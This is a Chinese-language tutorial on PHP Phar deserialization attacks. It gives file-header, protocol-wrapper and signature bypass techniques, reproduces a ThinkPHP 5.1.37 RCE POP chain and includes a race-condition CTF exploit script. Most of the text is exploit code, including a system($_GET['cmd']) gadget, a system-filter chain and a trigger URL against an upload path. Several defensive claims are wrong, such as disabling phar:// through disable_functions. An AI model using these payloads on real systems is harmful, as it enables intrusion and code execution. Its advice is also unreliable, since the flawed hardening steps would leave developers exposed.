PHP Phar 反序列化实战:3种常见绕过方式与ThinkPHP 5.1.37 RCE案例复现
PHP Phar反序列化漏洞深度剖析:从原理到ThinkPHP 5.1.37实战
在PHP安全领域,Phar反序列化漏洞因其独特的触发方式和广泛的攻击面,已成为渗透测试和CTF竞赛中的高频考点。本文将系统性地解析Phar反序列化的技术原理,深入探讨三种典型绕过技术,并通过ThinkPHP 5.1.37的RCE案例完整呈现漏洞利用链的构造过程。
1. Phar文件结构与反序列化原理
1.1 Phar技术背景
Phar(PHP Archive)是PHP 5.3+原生支持的打包格式,类似于Java的JAR文件。其核心设计目标是将多个PHP资源文件(类、函数、配置文件等)压缩为单个归档文件,便于分发和部署。默认情况下,PHP安装时已启用Phar扩展支持。
典型Phar文件包含四个关键部分:
- Stub- 文件标识头,格式为
<?php __HALT_COMPILER(); ?>,可前置任意内容 - Manifest- 压缩文件的元信息(权限、属性等),其中用户自定义的meta-data以序列化形式存储
- File Contents- 实际压缩的文件内容
- Signature- 可选的完整性校验签名(支持MD5/SHA1/SHA256等算法)
1.2 反序列化触发机制
当PHP文件系统函数(如file_exists()、file_get_contents()等)通过phar://协议处理Phar文件时,底层会调用phar_parse_metadata()解析manifest区域。关键漏洞点在于:解析过程中会自动对meta-data执行反序列化操作,而无需显式调用unserialize()函数。
以下代码演示了基本的Phar文件生成过程:
class Exploit { public function __destruct() { system($_GET['cmd']); } } $phar = new Phar('exploit.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ?>'); $phar->setMetadata(new Exploit()); // 危险:用户可控的反序列化点 $phar->addFromString('test.txt', 'payload'); $phar->stopBuffering();当受害者程序执行file_exists('phar://exploit.phar')时,Exploit类的__destruct()方法将被自动触发,形成RCE漏洞。
2. 三种典型绕过技术详解
2.1 文件头伪造技术
当目标系统限制上传文件类型时(如仅允许图片上传),可通过修改Stub部分绕过检测:
$phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); // 伪装成GIF文件技术要点:
- 保留
__HALT_COMPILER()标识的前提下,可前置任意文件头(如PNG、PDF等) - 需配合修改文件后缀名为
.jpg/.gif等允许的格式 - 实际案例中常见于CMS头像上传等场景
2.2 协议嵌套技术
当phar://被关键词过滤时,可利用协议嵌套实现绕过:
| 协议组合 | 适用场景 |
|---|---|
compress.bzip2://phar:// | 过滤严格的环境 |
php://filter/resource=phar:// | 允许php://协议的情况 |
data://text/plain;base64, | 支持data协议解析的环境 |
典型利用代码:
// 原始触发方式 file_get_contents('phar://evil.phar'); // 绕过方式示例 file_get_contents('compress.zlib://phar:///path/to/evil.jpg');2.3 签名绕过技术
Phar文件的签名校验可能成为攻击障碍,以下是两种突破方案:
方法一:注释注入
// 生成未签名的Phar文件 $phar = new Phar('unsigned.phar'); $phar->setSignatureAlgorithm(Phar::NONE); // 禁用签名方法二:签名重计算(需知道文件内容)
import hashlib with open('modified.phar', 'rb') as f: content = f.read() new_sig = hashlib.sha1(content[:-28]).digest() # 跳过原签名区域 modified = content[:-28] + new_sig + content[-8:] # 重建文件结构3. ThinkPHP 5.1.37 RCE漏洞复现
3.1 环境搭建与漏洞分析
ThinkPHP 5.1.37存在典型的POP(Property-Oriented Programming)链,通过精心构造的Phar文件可实现远程代码执行:
漏洞环境准备:
composer create-project topthink/think=5.1.37 tp5137利用链关键节点:
- 入口:
think\process\pipes\Windows类的__destruct() - 跳板:
think\model\Pivot的__toString()方法 - 最终执行:
think\Request类的filterValue()方法
- 入口:
3.2 完整攻击流程
步骤一:生成恶意Phar文件
namespace think{ abstract class Model{ protected $append = []; private $data = []; function __construct(){ $this->append = ["ethan"=>["calc"]]; $this->data = ["ethan"=>new Request()]; } } class Request{ protected $hook = []; protected $filter = "system"; function __construct(){ $this->filter = "system"; $this->hook = ["visible"=>[$this,"isAjax"]]; } } } // ...(其他命名空间结构省略) $phar = new Phar('tp_rce.phar'); $phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); $phar->setMetadata(new Windows()); // 注入POP链 $phar->addFromString("test.txt", "test"); $phar->stopBuffering();步骤二:文件上传与触发
- 将
tp_rce.phar重命名为avatar.jpg上传 - 通过存在参数可控的文件操作函数触发:
// 示例脆弱代码 file_exists($_GET['filename']); - 实际请求构造:
http://target.com/index.php?filename=phar://uploads/avatar.jpg/test.txt
3.3 防御方案对比
| 防御措施 | 有效性 | 实施成本 | 兼容性影响 |
|---|---|---|---|
| 禁用phar扩展 | ★★★★★ | ★★☆☆☆ | ★☆☆☆☆ |
| 过滤phar://协议 | ★★★☆☆ | ★★★☆☆ | ★★★★☆ |
| 设置phar.readonly=On | ★★★★☆ | ★★★★★ | ★★★☆☆ |
| 文件内容严格校验 | ★★★★☆ | ★★☆☆☆ | ★★★★☆ |
4. 高级绕过技术与实战技巧
4.1 特殊场景下的Phar利用
条件竞争场景(CTFshow Web276):
import threading import requests def upload(): while True: requests.post(target, files={'file': open('phar.phar','rb')}) def trigger(): while True: r = requests.get(f"{target}?file=phar://tmp/phar.phar") if "flag{" in r.text: print(r.text) exit() threading.Thread(target=upload).start() threading.Thread(target=trigger).start()日志注入攻击(N1CTF 2021 EasyPHP):
$phar->convertToExecutable(Phar::TAR); // 转换为tar格式绕过日志检测 $phar->addFromString("Time: ".$_GET['time'], "fake log"); // 构造合法日志格式4.2 新型检测绕过技术
GBMB签名绕过:
// PHP源码中的签名验证逻辑(php-src/ext/phar/phar.c) if (memcmp(buffer+pos, "GBMB", 4) != 0) { php_error_docref(NULL, E_WARNING, "corrupted signature"); return FAILURE; }通过精确控制文件尾部结构,可构造特殊签名绕过某些安全设备的检测。
5. 防御体系构建建议
开发阶段:
- 严格限制文件操作函数的参数输入
- 使用
finfo检测文件真实类型而非扩展名
$finfo = new finfo(FILEINFO_MIME_TYPE); $type = $finfo->file($_FILES['file']['tmp_name']);运维阶段:
- 配置
phar.readonly = On - 禁用危险协议:
disable_functions = phar://, zip:// - 定期更新PHP版本(PHP8+已优化metadata处理)
- 配置
安全检测:
# 检测项目中潜在的Phar触发点 grep -r "file_exists\|file_get_contents\|is_dir" --include="*.php" ./
通过深入理解Phar反序列化的技术原理和实战应用,安全研究人员可以更有效地发现和防御此类漏洞。建议在测试环境中复现本文案例,并参考OWASP相关指南建立全面的反序列化防护体系。
